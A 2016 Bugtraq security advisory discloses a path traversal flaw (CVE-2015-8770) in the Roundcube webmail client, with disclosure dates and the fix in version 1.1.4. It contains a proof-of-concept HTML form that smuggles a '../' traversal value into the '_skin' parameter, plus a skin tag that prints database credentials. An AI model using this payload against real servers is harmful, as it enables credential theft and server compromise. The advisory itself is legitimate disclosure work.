[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Remote Code Execution in Roundcube
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Remote Code Execution in Roundcube
- From: High-Tech Bridge Security Research <advisory@xxxxxxxxxxx>
- Date: Wed, 13 Jan 2016 14:56:27 +0100 (CET)
Advisory ID: HTB23283
Product: Roundcube
Vendor: Roundcube.net
Vulnerable Version(s): 1.1.3 and probably prior
Tested Version: 1.1.3
Advisory Publication: December 21, 2015 [without technical details]
Vendor Notification: December 21, 2015
Vendor Patch: December 26, 2015
Public Disclosure: January 13, 2016
Vulnerability Type: Path Traversal [CWE-22]
CVE Reference: CVE-2015-8770
Risk Level: Medium
CVSSv3 Base Score: 5.3 [CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab (
https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered a path traversal
vulnerability in a popular webmail client Roundcube. Vulnerability can be
exploited to gain access to sensitive information and under certain
circumstances to execute arbitrary code and totally compromise the vulnerable
server.
The vulnerability exists due to insufficient sanitization of "_skin" HTTP POST
parameter in "/index.php" script when changing between different skins of the
web application. A remote authenticated attacker can use path traversal
sequences (e.g. "../../") to load a new skin from arbitrary location on the
system, readable by the webserver.
A simple exploit below will send HTTP POST request to vulnerable script and
will load a new skin from "/tmp" folder:
<form action="http://[HOST]/" method="post" name="main">
<input type="hidden" name="_token" value="[TOKEN]">
<input type="hidden" name="_framed" value="1">
<input type="hidden" name="_task" value="settings">
<input type="hidden" name="_action" value="save-prefs">
<input type="hidden" name="_section" value="general">
<input type="hidden" name="_language" value="en_US">
<input type="hidden" name="_timezone" value="auto">
<input type="hidden" name="_time_format" value="H:A">
<input type="hidden" name="_date_format" value="Y-m-d">
<input type="hidden" name="_pretty_date" value="1">
<input type="hidden" name="_refresh_interval" value="1">
<input type="hidden" name="_skin" value="../../../../../../../../tmp">
<input value="submit" id="btn" type="submit" />
</form>
Exploitation of the vulnerability requires valid user credentials and ability
to create files on vulnerable host.
Using specially crafted skin for Roundcube, a remote attacker can gain access
to potentially sensitive information. The following code in skin files will
display database access credentials:
<roundcube:var name="config:db_dsnw" />
In case, when "skin_include_php" parameter is set to true, the attacker will be
able to execute arbitrary PHP code from the skin files:
$config['skin_include_php'] = true;
This vulnerability is difficult to exploit since it requires ability to create
files on the web server and a valid Roundcube account. But this situation is
very common for shared hosting servers, that host clients' websites on the same
server as Roundcube.
-----------------------------------------------------------------------------------------------
Solution:
Update to Roundcube 1.1.4
https://roundcube.net/news/2015/12/26/updates-1.1.4-and-1.0.8-released/
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23283 -
https://www.htbridge.com/advisory/HTB23283 - RCE in Roundcube
[2] Roundcube - https://roundcube.net/ - Free and Open Source Webmail Software
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ -
international in scope and free for public use, CVE® is a dictionary of
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to
developers and security practitioners, CWE is a formal list of software
weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual
web application penetration test and cutting-edge vulnerability scanner
available online via a Software-as-a-Service (SaaS) model.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and
without any warranty of any kind. Details of this Advisory may be updated in
order to provide as accurate information as possible. The latest version of the
Advisory is available on web page [1] in the References.